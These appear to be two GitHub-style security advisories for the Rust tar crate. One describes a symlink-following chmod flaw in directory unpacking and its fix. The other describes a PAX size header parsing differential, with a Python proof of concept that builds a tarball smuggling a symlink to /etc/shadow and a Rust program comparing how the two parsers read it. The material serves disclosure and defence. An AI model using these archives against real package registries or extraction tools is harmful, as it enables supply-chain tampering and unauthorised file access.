Summary

When unpacking a tar archive, the tar crate's unpackdir function uses fs::metadata() to check whether a path that already exists is a directory. Because fs::metadata() follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply chmod to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root.

Reproducer

A malicious tarball contains two entries: (1) a symlink foo pointing to an arbitrary external directory, and (2) a directory entry foo/. (or just foo). When unpacked, createdir("foo") fails with EEXIST because the symlink is already on disk. The fs::metadata() check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via chmod, which also follows the symlink — modifying the permissions of the external target directory.

Fix

The fix is very simple, we now use fs::symlinkmetadata() in unpackdir, so symlinks are detected and rejected rather than followed.

Credit

This issue was reported by @xokdvium - thank you!

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

python #!/usr/bin/env python3 B = 512

def pad(d): r = len(d) % B return d + b"\0" (B - r) if r else d

def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h)

INFLATED = 2048 paxrec = b"13 size=2048\n"

ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(paxrec), typ=b"x") ar += pad(paxrec)

content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" B 2

used = len(ar) - mark if used < INFLATED: ar += b"\0" (((INFLATED - used + B - 1) // B) B) ar += b"\0" B 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/cratesiotarball/src/lib.rs#L92-L102 wouldn't disallow it).

rust use std::fs; use std::path::PathBuf;

fn syncparse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().topathbuf(); let kind = e.header().entrytype(); let link: Option<PathBuf> = e.linkname().ok().flatten().map(|l| l.topathbuf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }

async fn asyncparse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokiotar::Archive::new(data.asslice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokiostream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().topathbuf(); let kind = e.header().entrytype(); let link: Option<PathBuf> = e.linkname().ok().flatten().map(|l| l.topathbuf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }

#[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrapor("smuggle.tar".into()); let data = fs::read(&path).unwrap(); syncparse(&data); asyncparse(data).await; }

tar: regular.txt Regular smuggled Symlink -> /etc/shadow

astral-tokio-tar: regular.txt Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.